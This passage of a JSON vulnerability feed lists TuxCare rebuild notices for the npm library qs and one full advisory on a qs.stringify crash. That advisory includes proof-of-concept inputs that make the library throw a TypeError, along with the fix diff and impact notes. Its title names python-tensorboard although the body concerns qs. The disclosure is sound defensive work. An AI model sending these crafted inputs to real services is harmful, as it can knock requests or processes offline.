unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\n\n\n\n### Impact\n\n\n\nAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","status":"published","published":"2026-08-30T00:16:34Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:26.280152Z"},{"id":"AZL-98397","title":"CVE-2026-82417 affecting package python-tensorboard 2.16.2-6","description":"### Summary\n\n\n\n`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\n\n\n\n### Details\n\n\n\n`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\n\n\n\nSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nvar qs = require(\"qs\");\n\n\n\nqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\n\n\n\nqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\n\n\n\n// TypeError: obj.constructor.isBuffer is not a function\n\n\n\n//     at Object.isBuffer (lib/utils.js:332:78)\n\n\n\n//     at stringify (lib/stringify.js:127:45)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\n\n\n\n```diff\n\n\n\n- return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n+ return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n```\n\n\n\nReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\n\n\n\n### Affected versions\n\n\n\n`\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.\n\n\n\nThe unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\n\n\n\n### Impact\n\n\n\nAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","status":"published","published":"2026-08-30T00:16:34Z","modified":"2026-09-08T05:27:28Z","updated_at":"2026-11-02T15:28:12.313414Z"},{"id":"CLSA-2026-1788167376","title":"TuxCare security update for qs (1 CVE)","description":"TuxCare rebuilt qs to address 1 CVE. Fixed in 6.14.0-tuxcare.2.","status":"published","published":"2026-08-31T09:09:36Z","modified":"2026-10-15T09:47:55.22106814Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1790178011","title":"TuxCare security update for qs (1 CVE)","description":"TuxCare rebuilt qs to address 1 CVE. Fixed in 5.2.1-tuxcare.3.","status":"published","published":"2026-09-23T15:40:11Z","modified":"2026-10-15T09:47:56.94787258Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1790183894","title":"TuxCare security update for qs (1 CVE)","description":"TuxCare rebuilt qs to address 1 CVE. Fixed in 6.2.6-tuxcare.1.","status":"published","published":"2026-09-23T17:18:14Z","modified":"2026-10-15T09:47:56.468088055Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1790183896","title":"TuxCare security update for qs (1 CVE)","description":"TuxCare rebuilt qs to address 1 CVE. Fixed in 6.4.3-tuxcare.1.","status":"published","published":"2026-09-23T17:18:16Z","modified":"2026-10-15T09:47:56.603781471Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1790521454","title":"TuxCare security update for qs (2 CVEs)","description":"TuxCare rebuilt qs to address 2 CVEs. Fixed in 6.13.0-tuxcare.1.","status":"published","published":"2026-09-27T15:04:14Z","modified":"2026-10-15T09:47:38.295102338Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790541933","title":"TuxCare security update for qs (2 CVEs)","description":"TuxCare rebuilt qs to address 2 CVEs. Fixed in 6.15.3-tuxcare.1.","status":"published","published":"2026-09-27T20:45:33Z","modified":"2026-10-15T09:47:38.187884242Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792074695","title":"TuxCare security update for qs (1 CVE)","description":"TuxCare rebuilt qs to address 1 CVE. Fixed in 2.3.3-tuxcare.2.","status":"published","published":"2026-10-15T14:31:35Z","modified":"2026-10-15T19:00:02.567358171Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792074756","title":"TuxCare security update for qs (1 CVE)","description":"TuxCare rebuilt qs to address 1 CVE. Fixed in 2.2.5-tuxcare.2.","status":"published","published":"2026-10-15T14:32:36Z","modified":"2026-10-15T19:00:07.469841545Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792074861","title":"TuxCare security update for qs (1 CVE)","description":"TuxCare rebuilt qs to address 1 CVE. Fixed in 3.1.0-tuxcare.4.","status":"published","published":"2026-10-15T14:34:21Z","modified":"2026-10-15T19:00:02.608953051Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792074917","title":"TuxCare security update for qs (1 CVE)","description":"TuxCare rebuilt qs to address 1 CVE. Fixed in 2.4.2-tuxcare.4.","status":"published","published":"2026-10-15T14:35:17Z","modified":"2026-10-15T19:00:02.566997061Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792164286","title":"TuxCare security update for qs (3 CVEs)","description":"TuxCare rebuilt qs to address 3 CVEs. Fixed in 6.11.2-tuxcare.1.","status":"published","published":"2026-10-16T15:24:46Z","modified":"2026-10-16T16:32:00.365310405Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792447268","title":"TuxCare security update for qs (3 CVEs)","description":"TuxCare rebuilt qs to address 3 CVEs. Fixed in 6.5.1-tuxcare.1.","status":"published","published":"2026-10-19T22:01:08Z","modified":"2026-10-20T01:45:09.149779634Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792449761","title":"TuxCare security update for qs (3 CVEs)","description":"TuxCare rebuilt qs to address 3 CVEs. Fixed in 6.14.2-tuxcare.1.","status":"published","published":"2026-10-19T22:42:41Z","modified":"2026-10-20T01:45:08.294651321Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792476180","title":"TuxCare security update for qs (4 CVEs)","description":"TuxCare rebuilt qs to address 4 CVEs. Fixed in 6.2.1-tuxcare.1.","status":"published","published":"2026-10-20T06:03:00Z","modified":"2026-10-20T07:15:09.283036707Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792763694","title":"TuxCare security update for qs (2 CVEs)","description":"TuxCare rebuilt qs to address 2 CVEs. Fixed in 6.5.3-tuxcare.2.","status":"published","published":"2026-10-23T13:54:54Z","modified":"2026-10-23T19:15:10.361426453Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793098775","title":"TuxCare security update for qs (1 CVE)","description":"TuxCare rebuilt qs to address 1 CVE. Fixed in 6.10.4-tuxcare.2.","status":"published","published":"2026-10-27T10:59:35Z","modified":"2026-10-27T13:30:09.271178101Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1794058800","title":"TuxCare security update for qs (2 CVEs)","description":"TuxCare rebuilt qs to address 2 CVEs. Fixed in 6.9.6-tuxcare.1.","status":"published","published":"2026-11-07T14:40:01Z","modified":"2026-11-07T19:00:36.652272043Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"CLSA-2026-1794060891","title":"TuxCare security update for qs (2 CVEs)","description":"TuxCare rebuilt qs to address 2 CVEs. Fixed in 6.9.1-tuxcare.1.","status":"published","published":"2026-11-07T15:14:52Z","modified":"2026-11-07T19:00:35.593306413Z","updated_at":"2026-11-07T19:21:34.633914Z"}]}}